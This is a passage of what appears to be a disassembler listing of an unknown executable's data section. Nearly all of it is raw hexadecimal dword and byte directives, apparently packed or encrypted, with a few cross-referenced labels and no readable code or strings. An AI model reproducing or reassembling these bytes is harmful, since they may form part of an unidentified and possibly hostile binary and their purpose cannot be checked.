		dd 2845BF89h, 119CA8ADh, 54F31401h, 66202DCCh, 94CAF2BDh
		dd 68500230h, 13FC2719h, 9A971346h, 21F5A13h, 3EEB5B87h
		dd 569416F9h, 835960A7h, 324B047Eh, 6D702675h, 84924614h
		dd 752820DBh, 21EB0818h, 0B7209B64h, 1CC81B16h,	3385AD51h
		dd 31DBFCB0h, 0E5EB6D86h, 0D61CA242h, 9CBF70DBh, 0AD2CB794h
		dd 0FC98501h, 9E33908Eh, 0A761400h, 420D02C6h, 69FA08DDh
		dd 18FE212Eh, 0A8FFFBC1h, 50881F1Ch, 0E420C1Ah,	0C103E383h
		dd 0F9C2046Eh, 16607E01h, 0F1ED68B6h, 79F8F2FDh, 0DD0BED15h
		dd 18422822h, 58512266h, 2E33332h, 20763C56h, 8E428ABh
		dd 12155B06h, 652C3DB3h, 2C190D38h, 174A3F53h, 0E91C463Fh
		dd 0EAC0DC03h, 708F2490h, 8187A0C8h, 382AC2DBh,	0F840DC39h
		dd 0D4014B8h, 9E17F603h, 684120DFh, 22B7AF58h, 31DCED3h
		dd 171A89B9h, 550B5FBAh, 0E0316218h, 54BBE84h, 8CCB916h
		dd 144991Ah, 7E1A1722h,	1DCD0861h, 2A118FC6h, 534ADC68h
		dd 7C2113BAh, 0A7C8F010h, 0B94369E4h, 972BB00Eh, 0CC8865FCh
		dd 3574C0DFh, 0B0501668h, 458E7A2Dh, 6BC5913Ch,	3D452DC8h
		dd 0E4582248h, 447C541Ah, 428E4513h, 91E12107h,	1CF4C432h
		dd 0B12B551Fh, 1E28C87Bh, 9C41D1EFh, 390B2712h,	0F36811CDh
		dd 0DCF81353h, 1210BA62h, 0E54784B1h, 0B922A722h, 24BA3A4Eh
		dd 0A88C2D2h, 0AF521151h, 7E2999BCh, 6813EB10h,	0A73E5A54h
		dd 6869448Eh, 94136554h, 7156428Eh, 22814786h, 0A9B92243h
		dd 6484BA2Bh, 0C0DEA68Ah, 23325E65h, 126A2D20h,	0D394B36h
		dd 0E5C7D217h, 0B4954D45h, 892D231Eh, 4D191BEFh, 0E00F4C1Eh
		dd 0A9DF6888h, 0CD1C0B22h, 0E278E98Bh, 0FE4381A5h, 2386817Ah
		dd 0AF111BEDh, 0DE535720h, 14A0220Fh, 22B21168h, 8D91CB23h
		dd 0E4D02B7Dh, 1E149540h, 6F94AD23h, 0E49E8840h, 194B2260h
		dd 8A4D1C8Bh, 14E462F6h, 0CBF7C20Fh, 3D05BBDh, 0B71B63E8h
		dd 0B9F2FA9Ah, 27A9217Ch, 0DC6A9410h, 0FBD096F0h, 0A94E686Ah
		dd 0FE1C3C4Fh, 1C911A41h, 6FC85E2Eh, 488490C6h,	1CCA42DCh
		dd 3D00412h, 8A590FD3h,	643B3E25h, 47568439h, 113B046Fh
		dd 6F0E7EEAh, 17E0C357h, 1C058341h, 6D68F27Fh, 1AE55744h
		dd 0A628A762h, 520A54C4h, 0AF0D444Eh, 0B751D84Ah, 9C1ABDC2h
		dd 8E7B7CA6h, 41DBA721h, 0C8A6849h, 454FA696h, 99E0C58h
		dd 1A7E218Ch, 361B87C5h, 2A0FC634h, 4736A268h, 2A222260h
		dd 4713BE68h, 0FA0F224Dh, 45E5546Eh, 3214A639h,	0E14F19FBh
		dd 0E71D2619h, 0FBC2275Eh, 6F0F7401h, 3AB30926h, 0E14EE812h
		dd 840FB460h, 531D627h,	2016E9B2h, 553E2CDFh, 180907BDh
		dd 0B2E88DB8h, 0E2B3FB6Dh, 0EAC40D4Bh, 21C1A31h, 43869808h
		dd 9F2F41C8h, 0B8C9462Bh, 0C55719DAh, 0BFDB34E4h, 9108E611h
		dd 81102217h, 0F5A4337Ch, 2B34BD76h, 3A52D113h,	882041B0h
		dd 0BA50CA8Bh, 8778911Ch, 8138E831h, 24582AEBh,	0F44EAA6Ah
		dd 27314E8Dh, 0CA0B44B9h, 321769A2h, 0FE12CA0Eh, 23E4A084h
		dd 453E1942h, 14AD042Bh, 2C2C5901h, 1858EE1Ch, 45B3887Bh
		dd 0DB133219h, 60C6A11h, 65C8458Eh, 864CDA00h, 9B198382h
		dd 0E89948B9h, 0B644114Fh, 29AC373Ch, 0C59E025h, 6C5404Dh
		dd 15220722h, 95706834h, 4812A511h, 18B51419h, 4A0DD085h
		dd 0FD70A193h, 0BE202E48h, 75D99913h, 2871080Eh, 0C54E3AAh
		dd 0FFED40C5h, 0CAAC0D49h, 0D02523FBh, 8117C8C2h, 8AE20E4Ch
		dd 0C414674h, 323ADEE9h, 0DDA2043Ah, 1131184Fh,	0A4748B11h
		dd 3E19C238h, 5E153A1Ah, 0EB37C08Eh, 0F484E02h,	8310BE01h
		dd 0F6755CFAh, 5C3E74FCh, 18880001h, 7D4417E4h,	3B1832B3h
		dd 84D7274Bh, 0F7B2C7C7h, 19B065D8h, 176EF74Dh,	0C364C0C2h
		dd 8999C4C3h, 0A05B2795h, 0E188D588h, 524964D8h, 17BE7B44h
		dd 80C5C0DCh, 2486F8E0h, 66A9D928h, 682A0F3Ah, 99237283h
		dd 885B1017h, 0AD79254h, 32148530h, 0C5FE40FDh,	84586AA7h
		dd 144B0F6Bh, 9104634Ah, 3C8342FDh, 0B98C124h, 0F034746Ch
		dd 6302AA1Bh, 0A48F6815h, 0D724B4Eh, 8287C12h, 7C720724h
		dd 0AABE6427h, 89B29B53h, 53BB042Ch, 176104D4h,	19AA3C21h
		dd 170202C6h, 0C021DC1Bh, 0C9200C16h, 24CAD712h, 3BBAF501h
		dd 7C52A46Ch, 82403E11h, 0F228B21h, 0BE8D0B4Eh,	129408D6h
		dd 6328E0A1h, 4907282Fh, 8FC9616h, 28119BA3h, 0A5E81401h
		dd 0D942A51h, 8606081h,	59449784h, 63A65DF8h, 8025577Ah
		dd 33B9FB16h, 4FADBEB8h, 0C91EB63h, 31090F8Eh, 61302515h
		dd 0D8990DB8h, 2C9D348Bh, 14C90A1Dh, 0B58E1D4Ch, 45BBF849h
		dd 36C09A14h, 2211ADFh,	6C15F16Fh, 2401538Eh, 0CDF11288h
		dd 42795709h, 4B892386h, 50C45E5Ch, 3616D061h, 5C9E521Dh
		dd 4D861A29h, 65225D47h, 9D51046Ah, 4E550E36h, 0E8E0D08Bh
		dd 9E9916A0h, 21F30C94h, 0C0BC1990h, 40BE0103h,	70B96724h
		dd 62F5A611h, 0A5F32370h, 581EE17Ch, 333FE362h,	24E45C29h
		dd 2530D523h, 0C47B5215h, 4808B948h, 0E814B102h, 8BA4531Dh
		dd 0B6785A22h, 0C6816DDh, 7B281F42h, 7EF07E84h,	0E310E040h
		dd 86A02685h, 3EB4A201h, 0D82DE39Ah, 0E42F4A54h, 22CC5370h
		dd 5A854FB4h, 0AA15C8C0h, 2DAE669Dh, 75461590h,	695DB80Ah
		dd 12AE0940h, 2DE1804h,	0C25ACE8Ah, 0E8210330h,	28331539h
		dd 0A814848Ah, 14D72B2Ch, 1F3BA921h, 6E1EE492h,	5260CD6h
		dd 0B1A81C91h, 578A0380h, 45754A99h, 52A2892Ch,	148E1C16h
		dd 918F50AAh, 0C04880Dh, 83D1EEBh, 534FF2A6h, 0BF61A3C4h
		dd 0E94B12A3h, 3BF7CD4Eh, 0FEC1F629h, 9CA6E904h, 6B8BC43Dh
		dd 80047855h, 85C60716h, 0BD00215Dh, 8340B42Ah,	831C148Dh
		dd 6613DB15h, 5C70A01h,	0A040BB44h, 84326B7h, 42214121h
		dd 2623AC2Ch, 2DFFF1E9h, 0A0891A4h, 680415BBh, 0AAD14E20h
		dd 222E1488h, 7B480341h, 40403B0Fh, 0E683896Eh,	200596C1h
		dd 96A9FC4Ch, 3191BD88h, 0DAEB4964h, 0A4227E67h, 8148A134h
		dd 0FA1E24AFh, 3F3FD74Dh, 9DF573D4h, 6597BAE4h,	75D59B4Fh
		dd 97E97D0h, 88ED38E1h,	13760804h, 348D506Fh, 47E3EE19h
		dd 57B00D4Bh, 4D44230h,	991878Dh, 44082ED8h, 1167E801h
		dd 0C2B9683Bh, 127B8886h, 133582B2h, 0C4703F4Dh, 874512F0h
		dd 233551DDh, 0CDF11288h, 846D9214h, 0F41E11ACh, 1A8C628Ah
		dd 2D8A6820h, 9A91B1D4h, 0B1D60F61h, 721ED615h,	142591EFh
		dd 86F8BC40h, 812A5B8Ch, 34453412h, 0A22BA50Eh,	0D3DB6252h
		dd 0C57F41Bh, 570F1A27h, 0DA84BE25h, 44BC6445h,	2F341303h
		dd 0C95F28C2h, 2963301Dh, 8D6034C8h, 0BB0A2D8Fh, 5385C514h
		dd 1C49646Ch, 958022BEh, 218C0A32h, 2211035Ch, 73B3FD6Fh
		dd 0C12BDDB5h, 5903154h, 91922A90h, 0C11C0B0h, 6627FF48h
		dd 78BC944Ch, 89100346h, 242BD011h, 0F649EBA3h,	0F8041242h
		dd 78BFF4F8h, 11447E3Ah, 9DB94216h, 4B8FC3BFh, 0D263C490h
		dd 0B8585E28h, 0F6E885CFh
		dd 0D6F0110Ch, 990EA2B9h, 12406C74h, 0D42968F8h, 4A318C8Fh
		dd 60C6036Fh, 84C5EE7Ch, 1CE810EBh, 8B571880h, 4A92C82Dh
		dd 2EE85509h, 0D5A81911h, 68433459h, 768CBCB2h,	0FD0FD292h
		dd 2C294A6Ch, 9626A919h, 44AB3FCAh, 43E22C3Ch, 90A08F10h
		dd 71D1B8C4h, 1D900975h, 3CBBD994h, 0B1259114h,	0EF150B10h
		dd 232276D1h, 49BA5009h, 0B2BB73B9h, 1991D624h,	4C8F4B03h
		dd 0F6C0A1E8h, 8D960704h, 584988B5h, 0E2849D2Eh, 228610FAh
		dd 4B682926h, 11D13895h, 10C4D747h, 0D6521D51h,	6C1D0736h
		dd 910F8551h, 91405A1Ah, 0D7D56BE9h, 2C46B580h,	422D02EBh
		dd 0F9DEA740h, 29164C50h, 2A0BC820h, 68A22B47h,	4E508050h
		dd 0C5D1031Dh, 0CC0FA8C0h, 74A6580Dh, 0B211F642h, 1060230Fh
		dd 0FD784F6h, 93C5C837h, 0CDBC0E1Bh, 36B91E62h,	85287542h
		dd 0AB96F60Eh, 1006C0CCh, 0F470074h, 832C4EBEh,	3EF22EF9h
		dd 698CAAAEh, 88014945h, 0C14A512Ch, 474A6F2Ah,	212B21BDh
		dd 97D89964h, 29D13C59h, 0F3BAAFA7h, 591E1C6Eh,	0B8141B1Ch
		dd 0C8D1944Ah, 43C1A5DCh, 62BB1004h, 0DB9E82B9h, 420F6422h
		dd 0F007CF65h, 10EC5E1h, 989835EBh, 0F88311FFh,	2874051Ah
		dd 19CA8D96h, 6E10C91h,	5C0604C6h, 66D74614h, 0CA758729h
		dd 4E8E4A58h, 39D7038Ah, 7C5B64E2h, 0CAAC857Ah,	0EC58FE91h
		dd 0B72890Eh, 8FC38F3Fh, 7BC4904Dh, 0DBB417CFh,	4319C813h
		dd 5A1F6BAh, 0EB03E62Dh, 0E4DCE305h, 5D4D27CAh,	0F6F8BCC4h
		dd 9E8D0DDFh, 8A0381B3h, 660D2CA3h, 4A079603h, 9112919Ah
		dd 868D0C9Dh, 0AA500DBCh, 5E11420Ch, 2419191Eh,	3E9109C9h
		dd 0B2205F42h, 0DD016A06h, 9CD7D668h, 52622C22h, 730DE985h
		dd 1DF0A60Eh, 0E814E230h, 214E0DBFh, 94AA3BE0h,	7BC68114h
		dd 236A2995h, 3BD3E2D7h, 460EAAE8h, 8E32107Eh, 7B5215EDh
		dd 0B851164Eh, 7482CA30h, 89104E31h, 3BB909A7h,	83090930h
		dd 0C62196F1h, 0C622CD3Ah, 0D92AF40Eh, 110B42A2h, 1A20F22h
		dd 5F0F3111h, 7177E7D5h, 8A635A8Ch, 6A51AA16h, 70257B32h
		dd 3219F084h, 0E44D529Fh
		db 91h
byte_412CFD	db 50h,	6Bh		; DATA XREF: seg001:0040D2FCo
byte_412CFF	db 29h			; DATA XREF: seg001:0040D300o
		dd 0E8418751h, 0D24D0CA9h
		db 0Dh
byte_412D09	db 37h,	0E2h, 7Dh	; DATA XREF: seg001:0040D2F8o
		dd 0A37F3A11h, 0E863AD51h, 0AE4D40B3h, 20A58478h, 473A6F94h
		dd 6BB24F23h, 6245E815h, 0FAB28521h, 0C62022Ch,	5DA17AD1h
		dd 0A03840BCh, 529E8612h, 2C31340Fh, 51988E2Ch,	4093862Fh
		dd 0D27E813h, 22569B95h, 5257A92Eh, 0D2310F6h, 58FC14C9h
		dd 28481D59h, 0FB88018h, 0C597691h, 8B182F48h, 0A871ABA5h
		dd 377F046Ah, 781179C7h, 90121DE7h, 332C28DAh, 157FCAA6h
		dd 428E3259h, 7DED2458h, 0CB4295Ch, 0A5A74F58h,	9C7C0B0Bh
		dd 0C351B861h, 0CC5B7388h, 82960516h, 99FB4574h, 54E71C47h
		dd 8A125202h, 6D640F8Ch, 3798F357h, 6A96155Dh, 0AA6809B7h
		dd 0A8F14014h, 310B5A8Bh, 17515123h, 431C2FF3h,	0A6EA9D84h
		dd 40C11722h, 44142C39h, 410720DCh, 0F4680AEBh,	0D2346079h
		dd 0A77FB28h, 590D2EC2h, 56E61E21h, 0AEDF1DFh, 3B841157h
		dd 440AECC4h, 53A4138Eh, 84B8A396h, 2984EEEDh, 652716CDh
		dd 0B6F4AD3Dh, 36129FECh, 34210A4Eh, 0B150802h,	30101E42h
		dd 24840234h, 6FE50AB3h, 6E5F98B7h, 6F3A36FFh, 0CB6B841Fh
		dd 0ACD6EAA8h, 412D69BCh, 0E47CD323h, 0C815CC28h, 0C347F90Eh
		dd 3EF80BE7h, 37F6B812h, 31081877h, 3D215610h, 0D6C5B80Bh
		dd 4A868EB0h, 0B3441058h, 3862DC3Fh, 29340E05h,	0DD6214BCh
		dd 337834B8h, 0BFD614F4h, 0DB29E8ECh, 33842C7h,	9D0A4E10h
		dd 8C557416h, 0EC7C8A14h, 0BF6FC709h, 0E1A71F63h, 21E2349Fh
		dd 402DCABAh, 0A91774ADh, 3D1247B9h, 7E3FD364h,	21DD3202h
		dd 50772A30h, 4C940BB7h, 72F141ADh, 0C45841A7h,	0D93BC91Fh
		dd 195B8E0Dh, 3C3C820Eh, 9CC1142h, 8043CA1h, 0F6FB8C6Ah
		dd 38182531h, 164E12FFh, 0CCBB0C2Dh, 27B9660Ch,	0FC6AD24Bh
		dd 0EB1A451Dh, 0F9EFCB3Fh, 0C7C2ED84h, 54008BDh, 10096242h
		dd 218C104Ch, 52380540h, 18FB7D6Ah, 3F0843BBh, 48B8C43Ch
		dd 0DBA1B3C9h, 19100B08h, 0F46CDCAh, 94F55E30h,	4482ECE9h
		dd 3039297h, 820D8B4Eh,	8839F960h, 9E420644h, 421BA08h
		dd 0FD265962h, 954608FFh, 2E84499Ch, 0DC6EBE45h, 14AB8C36h
		dd 425C4C2Bh, 0A4621745h, 430A440h, 0CF3C8224h,	9259ACAAh
		dd 0D50323FAh, 0B432729h, 0E916CA11h, 8402FC6Ah, 0A770744h
		dd 30B87801h, 0FC4FB9B2h, 50BA2206h, 1741E13h, 8F78D4C3h
		dd 23076F77h, 0F2EBFB80h, 53FA40FEh, 57565501h,	49D3BE50h
		dd 0C02B3A80h, 9868FA8Bh, 0FF6413C3h, 20899830h, 590D0D6Ah
		dd 0F724ABF3h, 8CF0489Bh, 0C200F6DAh, 0BA747504h, 7FE026Ch
		dd 80228A7Fh, 42AFCEFCh, 100572E6h, 66F476E6h, 333B803h
		dd 3810E0C1h, 5AE3010Eh, 42990C51h, 858D81Ch, 874ACDFBh
		dd 0ABD6FF8Ch, 8536E85h, 748A651Eh, 4B108905h, 3C862464h
		dd 9A4386FCh
		db 0C4h
byte_413009	db 5Bh,	4Dh		; DATA XREF: seg001:0041124Co
byte_41300B	db 21h			; DATA XREF: seg001:00411250o
		dd 0DB14FB6h, 7954E902h
		db 20h
byte_413015	db 7Eh,	18h, 0Ah	; DATA XREF: seg001:00411248o
		dd 0F70EBB84h, 0FA8000BFh, 454BBA60h, 73035058h, 3903B002h
		dd 0E5908493h, 743C1274h, 810A125Ah, 0B061A4EBh, 2BEADCF5h
		dd 280DDB7Bh, 3508938Bh, 7503AE00h, 0D33B09F1h,	0A606ED76h
		dd 19A31C8Bh, 7359D1D8h, 0EA7CE17Ah, 83041260h,	1575063Ah
		dd 0B3C38A02h, 36AB51C0h, 39928CE8h, 0C133591Eh, 0E24454A6h
		dd 58476A42h, 3C9BBA8h,	89C30368h, 102104DBh, 60D9226Ch
		dd 4F8D1058h, 0FF035120h, 0F65F38D0h, 0ED83E075h, 458B0308h
		dd 73C33B30h, 204773D7h, 0B824400Ah, 0AB8EC7EDh, 4BB7E5AFh
		dd 4C91075Eh, 7A7497Dh,	0F28D4C99h, 7281DB4Bh, 73C5E815h
		dd 0F12D1114h, 595F0665h, 1411A3E8h, 8875C985h,	0C627B92Ah
		dd 4131724Ch, 486A2D00h, 55C08359h, 74081B39h, 489C0E0Eh
		dd 10581007h, 19001575h, 80FB488Ah, 2890E8F9h, 75CC0AC7h
		dd 0FC400351h, 83520E3Eh, 0B9124F08h, 0E8147BF9h, 168C5053h
		dd 4484BD29h, 0FF8C3F10h, 6158DC21h, 643C84B5h,	0F52FE88Fh
		dd 2F025813h, 60FE5B5Dh, 9FFDD841h, 810C7110h, 5CB8C238h
		dd 0C708C158h, 8348402h, 0C420289h, 81C3C033h, 83F02B61h
		dd 8A0D7540h, 0FAF03350h, 0A300AFAh, 494892CCh,	0C3E72875h
		dd 8557FB92h, 0C0408979h, 398B7A7Eh, 7C9C3C53h,	7686A713h
		dd 78F0986Fh, 67F0D2F0h, 339F2F0h, 3DD312FEh, 573A020h
		dd 1042092Bh, 6CA03FEBh, 184A8B95h, 200372E6h, 0E352F303h
		dd 2B06D819h, 0C68312FFh, 49590004h, 3A07148Ah,	75072FE6h
		dd 0D28447ECh, 0AD0AF355h, 7AD9A5Ah, 59AC25B2h,	41240C42h
		dd 0F46D9F7h, 4804B71Fh, 4A01CB1Eh, 81148D1Ch, 3F3B02E0h
		dd 74F472C6h, 0EB77CAC7h, 705CB7DCh, 4E6C7452h,	61EA53E6h
		dd 730E75EEh, 5D446F54h, 3D72454Eh, 26C7F0F9h, 0EC1F6C41h
		dd 3F652C63h, 366F6956h, 594D5E1Fh, 9F792E6Dh, 57FD4631h
		dd 704FC714h, 68546EA1h, 6461328Bh, 500B9D0Ch, 8E6384CFh
		dd 0CF1F3473h, 1C746A53h, 89664143h, 0E9CB6E69h, 73EC4D79h
		dd 5E61906Bh, 285A49Ch,	14C81EB0h, 0C4A4192h, 0E1BAF7E3h
		dd 0BA48C5E2h, 6ABF14C2h, 8398530h, 941D13C6h, 0AC2617A2h
		dd 0DC8C5171h, 402CF70Fh, 8000B720h, 811A7530h,	0F76F92CAh
		dd 5218448Ch, 6C91008h,	7E8C890Ch, 73C9982Ah, 1F98056Ah
		dd 8C6D0D69h, 4C8D87A2h, 0C97C7E4Dh, 4A180981h,	0F0A03C72h
		dd 892C6852h, 8D50A74Bh, 1877CC45h, 379C1406h, 0EBDD511Bh
		dd 0A5589E52h, 785A04E2h, 0CA6C207h, 0C8E85283h, 0F5EB2106h
		dd 51B2576Ah, 45EE0AB4h, 4B6442F1h, 0FB56CA14h,	331444CAh
		dd 10488484h, 19C28F51h, 240C0221h, 9015280Dh, 16792AEEh
		dd 52C78983h, 1B23C542h, 99EB23D4h, 0B039E7B9h,	8473412Ah
		dd 0F6AE81CCh, 9D8015CCh, 0B4F0EB62h, 52DA2154h, 0B88CBAA4h
		dd 0B0001041h, 0A001B006h, 0A519E83Ch, 0DE0590AFh, 5198789Eh
		dd 820350B6h, 3C3FF05h,	0EEE3049Dh, 0E1D1FFE1h,	53F660C8h
		dd 0CBA8DAFAh, 0F3D25208h, 8981A2F5h, 0C92B4274h, 9DD27A81h
		dd 41BCE07Fh, 0F934FC30h, 10002B29h, 382B7391h,	70FD0243h
		dd 42EAEAADh, 52EEE2E8h, 3073E8C7h, 43105332h, 44A4DF23h
		dd 0C8C850D2h, 0A450C924h, 1A185815h, 0EEF15B2Fh, 0FCC48386h
		dd 6A32C2C1h, 4C815A06h, 60024B38h, 891C4AFAh, 33828810h
		dd 4A500443h, 0EEB82CB2h, 480242CDh, 525029EFh,	493BCC29h
		dd 940F0F84h, 0FC58CD45h, 7A6D7AB6h, 50305119h,	40E9E8F9h
		dd 0C3DF7A71h, 4DE43042h, 89044B86h, 39800802h,	87735807h
		dd 74BE41FCh, 33EB3FD3h, 7A021266h, 4A48E908h, 80581F18h
		dd 1FE66E7Dh, 0BEC6B20Fh, 0F9440C2Ah, 905BEBA0h, 240C4020h
		dd 88A4FA48h, 0BD526B1Ch, 84B028D1h, 4DC957E4h,	7D3DA52Ch
		dd 9FD5543Dh, 0AB8C24EBh, 778B2A32h, 39E5FFF3h,	806B0C31h
		dd 8E0D0A1h, 52D260F1h,	59A31850h, 1F9219Ah, 53535FFCh
		dd 0EB8F1DA6h, 0F9CACAF4h, 0C828105Ah, 8B1C4486h, 2789490Ah
		dd 3F2D58DAh, 39320FE3h, 0A0FD8592h, 871FF36h, 0D180DA8Fh
		dd 574419C3h, 0E64C84F5h, 10558452h, 3B161FD2h,	29D75437h
		dd 0B3C2DAD5h, 2E4AE3BAh, 24E15158h, 5052C3B1h,	8B4E4B1Dh
		dd 3E830EB4h, 760ABB42h, 4942B81Ah, 247D3941h, 6A5F5035h
		dd 414A45h, 204B8B28h, 801C23E3h, 425027Bh, 4007C075h
		dd 0B1E8650Ch, 0BBD4E168h, 86DA7808h, 590841F7h, 279D79ACh
		dd 0B0E28758h, 450584E6h, 804741Ch, 444235F1h, 0BB8E4A2Ch
		dd 4E24CA94h, 8D168A54h, 0B1416414h, 2820E33Fh,	0B55A6E45h
		dd 8BC22491h, 687A0C1Eh, 2018E5F1h, 0E868FCABh,	901F7003h
		dd 1890104h, 0F3E8D38Bh, 43DB49FDh, 0B604F689h,	50097504h
		dd 0D14A9097h, 89495892h, 3E5991Ch, 5E379B22h, 0DECA04Bh
		dd 6C00450Ah, 20545269h, 0E7302E31h, 6F431881h,	0FC727970h
		dd 741E6867h, 29DD2820h, 2830320Ch, 3306A12Ch, 477052FDh
		dd 0D06D6E69h, 9C686387h, 0FF09904Ch, 63C24825h, 0A44CB202h
		dd 54325006h, 5C0C5819h, 21604386h, 0C8689064h,	3270646Ch
		dd 0C781974h, 8043867Ch, 88908421h, 90648CC8h, 98199432h
		dd 43869C0Ch, 90A421A0h, 64ACC8A8h, 19B432B0h, 86BC0CB8h
		dd 0C421C043h, 0CCC8C890h, 0D432D064h, 0DC0CD819h, 21E04386h
		dd 0C8E890E4h, 32F064ECh, 0CF819F4h, 0C3E086FCh, 21044384h
		dd 0C8109008h, 32186414h, 0C20191Ch, 28438624h,	34902C21h
		dd 3C6438C8h, 4464A837h, 4C194832h, 4386500Ch, 90582154h
		dd 6460C85Ch, 196C3264h, 86740C70h, 7C217843h, 84C88090h
		dd 8C328864h, 940C9019h, 21984386h, 0C8A0909Ch,	32A864A4h
		dd 0CB019ACh, 0B84386B4h, 0C090BC21h, 0C864C4C8h, 0D419CC32h
		dd 4386D80Ch, 90E021DCh, 64E8C8E4h, 19F032ECh, 83FC0CF4h
		dd 38CC0000h, 0D73140AAh, 0C4746809h, 2F713A70h, 2E027760h
		dd 1D646976h, 7A6D2D61h, 6F633B79h, 0F8792F3Eh,	73653B67h
		dd 0C1F66CBDh, 702E720Eh, 6F85CB68h, 1844A801h,	84F4345h
		dd 531D2052h, 0F0794154h, 667BE70h, 5006B926h, 3680010Ah
		dd 0FAE24641h, 2720A868h, 2C92C378h, 3036331Ch,	61760478h
		dd 1C815F6Ch, 16216B72h, 2038461Bh, 0C04C818h, 0FC2845C7h
		dd 0ECC01FFh, 0FA3B068Bh, 35733C08h, 30C4D0Eh, 0BE0F877Fh
		dd 10559019h, 3D61E852h, 4C48355h, 3F83C8F1h, 0F1F7D233h
		dd 36140E30h, 722B100Ch, 655D66D9h, 88EC5A18h, 0EB081C0Ch
		dd 0FC1458C0h, 0E85014C2h, 0B6DF2E0Fh, 0C6789632h, 0C93E1070h
		dd 244C1EC3h, 3C1F706h,	11740733h, 0AE83018Ah, 95C08467h
		dd 7511203Bh, 0BAFC8BEFh, 0BEFEFF38h, 83D08F7Eh, 0C23306F0h
		dd 0A904383Ah, 81810138h, 418BE874h, 324F9DFCh,	24DBE41Eh
		dd 36FF8324h, 100F1376h, 0EB0F02FCh, 0F4418DCDh, 0C12B0C53h
		dd 85FE14C3h, 0FCB2FD90h, 12DB8738h, 0DABD590h,	0E08EF04h
		dd 796513F3h, 775F2047h, 31647241h, 32C817C2h, 0B21A3251h
		dd 34643533h, 46B932Fh,	36A264D0h, 376596B5h, 38C8323Fh
		dd 0AB3991D5h, 0AB303111h, 32598D71h, 3533B21Ah, 0C86A3464h
		dd 3691D535h, 563723ABh, 39AC3846h, 3032508Dh, 1A31598Dh
		dd 91D518B7h, 3423AB33h, 0AC354656h, 37598D36h,	3538B21Ah
		dd 846A3964h, 90E33033h, 424180AAh, 454443h, 49484746h
		dd 4D4C4B4Ah, 504F4E00h, 54535251h, 57560055h, 615A5958h
		dd 64006362h, 68676665h
		dd 6B6A69h, 6F6E6D6Ch, 73727170h, 76757400h, 7A797877h
		dd 5CB830h, 36353433h, 2B393837h, 0FF532F70h, 0CA3EA801h
		dd 40393F09h, 3D3C3B3Ah, 1E08Eh, 5040302h, 9080706h, 0C0B0A00h
		dd 100F0E0Dh, 13120011h, 17161514h, 8C1918h, 1D1C1B1Ah
		dd 21201F1Eh, 24232200h, 28272625h, 2B2A0229h, 2F2E2D2Ch
		dd 1F218492h, 0C20104E8h, 83570195h, 26A535Bh, 30106898h
		dd 0E8CDFC13h, 0D0FFA920h, 50D83F8Bh, 9A868387h, 5E2AF53Dh
		dd 6FBDD0Fh, 3901074h, 80266801h, 15E8C8ACh, 0A0C21557h
		dd 0A83F4386h, 0C89972F5h, 0EB61044Ch, 53E960EDh, 30721581h
		dd 0CC3C4B8Bh, 7800194Ch, 0CB0327E3h, 3B8DF633h, 5187B314h
		dd 0C7128B20h, 0C1C0C3D3h, 2320790h, 3A80421Ch,	3BF57501h
		dd 74C42444h, 646770Bh,	0DD721871h, 0EB0634CCh,	24518B13h
		dd 0B70F1F46h, 419EFC14h, 8CC35F1Ch, 890A9004h,	61C648DEh
		dd 0C8BEC2F8h, 8B8F07B2h, 0F908E164h, 67D85DEBh, 0C4E5B2FFh
		dd 626890Ch, 0EA3162E8h, 531DA16Dh, 1394E886h, 0B011580h
		dd 831E74D2h, 824714C2h, 15E3F8E0h, 0C74B9E8h, 0FC1BF075h
		dd 1CEC08FAh, 41E80B1Ah, 0DCA01B59h, 0C0DB20Ch,	0E828ACECh
		dd 0A5032410h, 18245C89h, 8FAE10F8h, 61581506h,	330B0E81h
		dd 3D477D44h, 7CC7090Eh, 0C0A12CDCh, 0FF38832Ah, 473588Bh
		dd 0C3F654C0h, 75DB3366h, 24D481h, 6EB5076h, 0F703018Bh
		dd 0B33D66D8h, 0C3D08AA5h, 2D1CCB60h, 8741861Ch, 3E2E3550h
		dd 5D834CDh, 60E7E422h,	0D1118E5h, 54F87365h, 0D7093E93h
		dd 0D07BA2FEh, 10CC808Dh, 0D0D3E993h, 0B41E3219h, 7F0822B3h
		dd 23C2E7Eh, 1B042124h,	0AAB2CB1h, 0A7420C20h, 0E05EE89Dh
		dd 23D442Eh, 2C8C0392h,	7BC87F43h, 905A4D87h, 9B6F6A0Bh
		dd 4908FE9Dh, 40C9EDB8h, 0C8E61195h, 1F0E1C09h,	0B400F8BAh
		dd 0B821CD09h, 0AD84C01h, 177369CAh, 1C727020h,	6D61CF9Eh
		dd 6E8E630Eh, 0CF749F3Eh, 9E5F6562h, 6930BF75h,	534F4406h
		dd 6F586DFCh, 0D2E1CF4h, 44240A4Ah, 0D7CDB160h,	0ACF50A4Fh
		dd 0C1041CB9h, 0F1E4A4E6h, 0B80C53F7h, 1132BEE3h, 21FA2176h
		dd 0F1D9A0F0h, 0E30853F1h, 5221F4E2h, 56316369h, 428C11A1h
		dd 4C024550h, 9CCA8001h, 0AC3C47E0h, 9E40F714h,	38010B21h
		dd 0A04C0A07h, 0E4D8128Ah, 0E1104A32h, 0C49D55Bh, 34002802h
		dd 8C90868h, 11520D4Dh,	3849101Fh, 0FA9081Dh, 3328E20Ch
		dd 2D9EB404h, 0D40B5088h, 0EC763502h, 81BB2CCBh, 39742E78h
		dd 0C4C47865h, 2B912857h, 0CE4BC52Ah, 0E00403CDh, 7461642Eh
		dd 0D82B1996h, 8A0FC0Ah, 98282E56h, 42EC02Fh, 6F6C6572h
		dd 44E0563h, 604B467h, 0F928384Ah, 1BDC242h, 4CA4925Dh
		dd 800994DCh, 0E8277289h, 8C351411h, 0C836214Ch, 5C912A09h
		dd 0FC200622h, 0D8E84437h, 304C1689h, 2219CC3Ah, 0C891809h
		dd 236F411h, 4CCC24E0h,	0C8C699B8h, 0E491D209h,	0FE44F022h
		dd 1A39CC0Ch, 30892809h, 48243C12h, 72916248h, 9C448422h
		dd 69C089AAh, 0B9BA8CAEh, 9C09C8A8h, 7C228C91h,	0B46A5844h
		dd 0B17AC69Ch, 52093C64h, 0E5C4664Ah, 10DB4C13h, 0D890209h
		dd 0B240112h, 15917448h, 9443422h, 12178973h, 48032404h
		dd 40979112h, 4CA69644h, 45545C07h, 6650504Dh, 1D353461h
		dd 0EC653733h, 0B06D127Ah, 550B5144h, 230D5449h, 0BF41444Ch
		dd 3E19082Ah, 49F04D0Bh, 46200F4Ch, 3A0E4F52h, 656E3CC0h
		dd 69017677h, 40737572h, 70D1616Bh, 0E68ECFF3h,	831C2E79h
		dd 45030225h, 204F4C48h, 0D1616EC9h, 7473D468h,	520714A4h
